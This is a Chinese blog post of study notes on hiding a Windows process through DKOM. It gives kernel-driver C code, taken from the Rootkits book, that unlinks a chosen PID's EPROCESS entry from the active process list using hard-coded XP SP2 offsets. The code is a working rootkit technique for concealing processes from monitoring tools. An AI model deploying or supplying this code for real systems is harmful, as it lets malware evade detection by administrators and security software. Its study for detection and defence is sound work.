本文主要是介绍Hiding process with DKOM,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
科普了...大侠飘过....
感觉这样隐藏进程比Hook ZwQuerySystemInformation 工序上简单很多,所以BSOD的几率也要小了。不过仍然逃不过IS的法眼...
代码基本是copy Rootkits: Subverting the Windows Kernel 加了点注释。几下笔记。
在win中,每个进程都有一个EPROCESS结构,其中引用了一个双向链表,遍历这个链表,就能列出win当前活动进程。
下面是定义
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
FLINK指向当前进程的前方进程,BLINK则指向后方进程。
所以,我们要通过进程的PID定位到链表并且把要隐藏的进程从链表中断开。
我们要找到指定进程所在的进程链表,要经历如图的过程。
ULONG FindProcessEPROC (ULONG terminate_PID)
{
//这个函数用来获得指定PID的 EPROCESS偏移
PLIST_ENTRY plist_active_procs;
ULONG eproc;
ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;
eproc = 0x00000000;
PIDOFFSET = 0x84; //SP2
FLINKOFFSET = 0x88;
current_PID = 0;
start_PID = 0;
i_count = 0;
if (terminate_PID == 0)return terminate_PID;
// Get the address of the current EPROCESS
eproc = (ULONG) PsGetCurrentProcess();
start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PID
current_PID = start_PID;
while(1)
{if(terminate_PID == current_PID) // foundreturn eproc;else if((i_count >= 1) && (start_PID == current_PID)){//当整个循环都遍历完一圈却没有找到这个PID的时候 才会出现这种情况return 0x00000000;}else { // Advance in the list.plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); //LISTeproc = (ULONG) plist_active_procs->Flink; //the next list entryeproc = eproc - FLINKOFFSET; //the next EPROCESScurrent_PID = *((ULONG *)(eproc+PIDOFFSET)); //THE NEXT PIDi_count++;}
}
}
上面这个函数,首先PsGetCurrentProcess(); 可以到达当前进程EPROCESS EPROCESS中保存了进程PID,win sp2中,PID的偏移是0x84 LIST的偏移是 0x88。(FLINKOFFSET应该是LISTOFFSET 名字起得有点问题 更正一下)
下面我们就要断开这个链表。
NTSTATUS HideProc()
{
PLIST_ENTRY plist_active_procs;
ULONG FLINKOFFSET,eproc;
// Find the EPROCESS to hide.
eproc = FindProcessEPROC(3248);
FLINKOFFSET = 0x88;
if (eproc == 0x00000000)
{DbgPrint("can't find the eproc!!");return STATUS_INVALID_PARAMETER;
}
plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);
// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.
*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink; //动作一
*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //动作二
// Change the FLINK and BLINK of the process we are hiding so that when
// it is dereferenced, it points to a valid memory region.
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
//这里一定要把EPROCESS指向其自身 不然BSOD郁闷死你
return STATUS_SUCCESS;
}
怎么断开双向链表,当初学C的时候都有讲..所以不多写...
最后
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);
倒是要注意一下,Greg Hoglund的书中写道,如果不把被隐藏进程的EPROCESS指向其自身,那么PspExitProcess的调用就会无效 so...BSOD...
最后,只需在DRIVER ENTRY中这样调用
if(STATUS_SUCCESS == HideProc())
DbgPrint("haha hide ok!");
IS中有显示红字的即是。
这篇关于Hiding process with DKOM的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!